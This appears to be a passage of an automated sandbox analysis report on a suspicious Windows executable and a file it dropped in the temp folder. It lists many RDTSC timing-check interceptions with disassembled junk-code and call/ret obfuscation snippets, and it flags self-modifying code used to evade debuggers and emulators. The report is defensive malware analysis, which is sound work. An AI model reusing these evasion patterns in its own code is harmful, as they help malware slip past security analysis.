Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B061E7 second address: B061FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007F0264BBFB18h 0x0000000d push eax 0x0000000e push eax 0x0000000f pop eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B061FA second address: B0621D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0264E84AD3h 0x00000008 jns 00007F0264E84AD2h 0x0000000e jo 00007F0264E84AC6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B064E5 second address: B064F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jns 00007F0264BBFB16h 0x0000000c popad 0x0000000d push eax 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B064F8 second address: B06514 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0264E84AD8h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B06514 second address: B06522 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0264BBFB16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B06522 second address: B06526 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B06526 second address: B0652A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B06686 second address: B0668D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B067FF second address: B06803 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B06981 second address: B0698D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F0264E84AC6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B0698D second address: B069A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F0264BBFB23h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B06B38 second address: B06B72 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0264E84AC6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F0264E84AD1h 0x00000011 popad 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 jmp 00007F0264E84AD7h 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B06B72 second address: B06B96 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0264BBFB16h 0x00000008 je 00007F0264BBFB16h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 jmp 00007F0264BBFB20h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B06E5D second address: B06E8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264E84ACCh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F0264E84AD9h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B074A3 second address: B074BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F0264BBFB1Fh 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B078D8 second address: B078DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B078DC second address: B078E4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B0E2B4 second address: B0E2BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B0D1D1 second address: B0D1D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B0E36A second address: B0E370 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B0F5E0 second address: B0F5E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: ADCABE second address: ADCACE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0264E84ACBh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: ADCACE second address: ADCADB instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0264BBFB18h 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: AD78FF second address: AD7909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: AD7909 second address: AD7920 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F0264BBFB16h 0x0000000d jmp 00007F0264BBFB1Ah 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: AD7920 second address: AD7945 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0264E84AC6h 0x00000008 jmp 00007F0264E84AD3h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jl 00007F0264E84AD2h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B1243D second address: B12443 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B12B2E second address: B12B34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B12C7C second address: B12C86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F0264BBFB16h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B148F6 second address: B148FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B148FA second address: B148FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B148FE second address: B14904 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B14CBC second address: B14CC2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B15498 second address: B1549C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B1549C second address: B154A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B16E78 second address: B16E94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0264E84AD8h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B16E94 second address: B16F0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264BBFB27h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c pushad 0x0000000d jnc 00007F0264BBFB1Ah 0x00000013 jp 00007F0264BBFB1Eh 0x00000019 pushad 0x0000001a jno 00007F0264BBFB16h 0x00000020 jmp 00007F0264BBFB27h 0x00000025 push esi 0x00000026 pop esi 0x00000027 jmp 00007F0264BBFB25h 0x0000002c popad 0x0000002d pushad 0x0000002e push eax 0x0000002f pop eax 0x00000030 jl 00007F0264BBFB16h 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: AD0ECD second address: AD0EEF instructions: 0x00000000 rdtsc 0x00000002 js 00007F0264E84AC8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0264E84AD4h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: AD0EEF second address: AD0EF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B17F7F second address: B17F9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264E84ACCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F0264E84ACCh 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B190A8 second address: B190B2 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0264BBFB16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B190B2 second address: B190B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B190B8 second address: B190BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B190BC second address: B19183 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F0264E84AD6h 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F0264E84AC8h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 0000001Bh 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 adc esi, 1B2A57E1h 0x0000002f jmp 00007F0264E84AD4h 0x00000034 jns 00007F0264E84ACAh 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push ebx 0x0000003f call 00007F0264E84AC8h 0x00000044 pop ebx 0x00000045 mov dword ptr [esp+04h], ebx 0x00000049 add dword ptr [esp+04h], 0000001Dh 0x00000051 inc ebx 0x00000052 push ebx 0x00000053 ret 0x00000054 pop ebx 0x00000055 ret 0x00000056 call 00007F0264E84ACBh 0x0000005b je 00007F0264E84ACCh 0x00000061 sub dword ptr [ebp+124483C0h], edx 0x00000067 pop edi 0x00000068 push 00000000h 0x0000006a jmp 00007F0264E84ACBh 0x0000006f xchg eax, ebx 0x00000070 push eax 0x00000071 push edx 0x00000072 push eax 0x00000073 push edx 0x00000074 jmp 00007F0264E84ACFh 0x00000079 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B19183 second address: B19187 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B19187 second address: B1918D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B1918D second address: B19193 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B1A6EF second address: B1A70F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264E84AD2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007F0264E84AC6h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B1C2D1 second address: B1C2D6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B1C2D6 second address: B1C2DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: AD41F5 second address: AD41FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: AD41FB second address: AD41FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: AD41FF second address: AD4207 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: AD4207 second address: AD4211 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F0264E84AC6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: AD4211 second address: AD4215 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: AD4215 second address: AD4225 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jnp 00007F0264E84AC6h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: AD4225 second address: AD4234 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: AD4234 second address: AD4238 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B19A43 second address: B19A47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B1D355 second address: B1D35B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B1D35B second address: B1D35F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B1DDF6 second address: B1DDFC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B1DDFC second address: B1DE06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F0264BBFB16h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B1DE06 second address: B1DE79 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0264E84AC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F0264E84AC8h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 or dword ptr [ebp+122D22AFh], ebx 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push esi 0x00000032 call 00007F0264E84AC8h 0x00000037 pop esi 0x00000038 mov dword ptr [esp+04h], esi 0x0000003c add dword ptr [esp+04h], 0000001Ah 0x00000044 inc esi 0x00000045 push esi 0x00000046 ret 0x00000047 pop esi 0x00000048 ret 0x00000049 add dword ptr [ebp+12448588h], edx 0x0000004f push 00000000h 0x00000051 mov esi, 712E9AF4h 0x00000056 push eax 0x00000057 jc 00007F0264E84AD0h 0x0000005d pushad 0x0000005e pushad 0x0000005f popad 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B22CA1 second address: B22CA7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B243AD second address: B243B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B25D99 second address: B25D9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B293EB second address: B29476 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0264E84ACCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d call 00007F0264E84AD6h 0x00000012 clc 0x00000013 pop edi 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007F0264E84AC8h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 00000015h 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push ebx 0x00000035 call 00007F0264E84AC8h 0x0000003a pop ebx 0x0000003b mov dword ptr [esp+04h], ebx 0x0000003f add dword ptr [esp+04h], 00000017h 0x00000047 inc ebx 0x00000048 push ebx 0x00000049 ret 0x0000004a pop ebx 0x0000004b ret 0x0000004c jno 00007F0264E84AC6h 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 jmp 00007F0264E84AD4h 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B29476 second address: B2947B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B28489 second address: B2848F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B2857C second address: B28582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B28582 second address: B28596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F0264E84ACCh 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B2A56F second address: B2A589 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0264BBFB1Ch 0x00000008 jc 00007F0264BBFB16h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jl 00007F0264BBFB20h 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B29658 second address: B29669 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0264E84AC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	RDTSC instruction interceptor: First address: B29669 second address: B2966D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\random(4).exe	Special instruction interceptor: First address: 718D07 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\random(4).exe	Special instruction interceptor: First address: 718D96 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\random(4).exe	Special instruction interceptor: First address: 718D0D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\random(4).exe	Special instruction interceptor: First address: 8BD3F2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\random(4).exe	Special instruction interceptor: First address: 8BBA84 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Special instruction interceptor: First address: 96FCCF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Special instruction interceptor: First address: 96FDAC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Special instruction interceptor: First address: 96FCE8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Special instruction interceptor: First address: B38618 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Special instruction interceptor: First address: B206C7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe	Special instruction interceptor: First address: B9C867 instructions caused by: Self-modifying code
